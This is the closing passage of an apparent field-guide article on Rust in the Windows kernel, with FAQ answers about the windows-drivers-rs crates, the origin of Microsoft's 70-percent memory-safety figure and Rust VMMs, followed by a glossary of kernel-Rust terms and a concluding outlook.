[@register-2023-04-27]. No. The public Microsoft GitHub repository is `microsoft/windows-drivers-rs`. The crate suite contains six crates named `wdk`, `wdk-sys`, `wdk-alloc`, `wdk-build`, `wdk-panic`, and `wdk-macros`. The Cargo subcommand is `cargo-wdk`. There is no "WDR" abbreviation in the official Microsoft naming. The companion samples repository is `microsoft/Windows-rust-driver-samples` [@windows-drivers-rs; @windows-rust-samples]. No. The originating talk was Matt Miller's at BlueHat IL in early February 2019, titled *Trends, Challenges, and Shifts in Software Vulnerability Mitigation*. The deck is in the `microsoft/MSRC-Security-Research` GitHub repository. Weston and Mark Russinovich later operationalised the figure in their own talks. The Microsoft Security Response Center re-stated it in plain prose in two essays in July 2019 [@miller-bluehat-2019; @msrc-proactive-2019; @msrc-safer-2019; @infoq-mitigating]. No. OpenVMM is a separate modular Rust VMM whose primary 2026 production deployment is as the OpenHCL paravisor for AMD SEV-SNP and Intel TDX confidential virtual machines [@openvmm-github; @phoronix-openhcl]. Hyperlight is the Azure-side production Rust micro-VMM with sub-2-millisecond cold-start times. The in-Windows Hyper-V Virtualisation Service Provider (VSP) front-end's Rust status has not been publicly announced; that is Open Problem P6 in the article's frontier section [@newstack-russinovich].

<StudyGuide slug="rust-in-the-windows-kernel-2026-field-guide" keyTerms={[ { term: "win32kbase_rs.sys", definition: "The first Rust-implemented Windows kernel binary; contains the Win32k GDI region/shape engine and, by 2025, parts of the EMF/EMF+ metafile parser." }, { term: "panic = abort", definition: "The Rust compilation profile that converts a panic into an immediate abort rather than stack unwinding; mandatory for no_std kernel binaries." }, { term: "no_std", definition: "Rust crate attribute opting out of the standard library; required for kernel binaries because std assumes OS services the kernel itself provides." }, { term: "GlobalAlloc", definition: "The Rust trait for the global memory allocator; in kernel Rust it is implemented by wdk-alloc over ExAllocatePool2/ExFreePoolWithTag." }, { term: "FFI", definition: "Foreign Function Interface; the ABI-crossing mechanism by which Rust calls C kernel functions. Every FFI call in kernel Rust is an unsafe block." }, { term: "CFI", definition: "Control-Flow Integrity; the mitigation family (CFG, XFG, CET) that defends the control-flow graph; by construction blind to data-only attacks." }, { term: "DOP", definition: "Data-Oriented Programming; Hu et al. (IEEE S&P 2016) proved data-only attacks are Turing-complete and invisible to every CFI variant." }, { term: "IRQL", definition: "Interrupt Request Level; the Windows kernel per-CPU priority. At IRQL >= DISPATCH_LEVEL a panic has nowhere to go except the system bugcheck." } ]} />

The article's smallest claim is also its largest. Rust is in the Windows kernel today, in production, with a real binary you can list at a real path. The article's largest claim is its smallest. The realistic ten-year shape is not a Windows rewrite; it is a policy that compounds, over decades, across modules whose authors choose Rust on first contact. The most defended forward posture combines Rust for new code, targeted rewrites of high-blast-radius modules, CHERI-class hardware capabilities where silicon supports them, and the existing mitigations stack as the patient defence-in-depth backstop. Each piece is partial. The combination is the answer to the 70-percent figure that Matt Miller stood up and named in Tel Aviv in early February 2019.

Now go check C:\Windows\System32\win32kbase_rs.sys. It is there.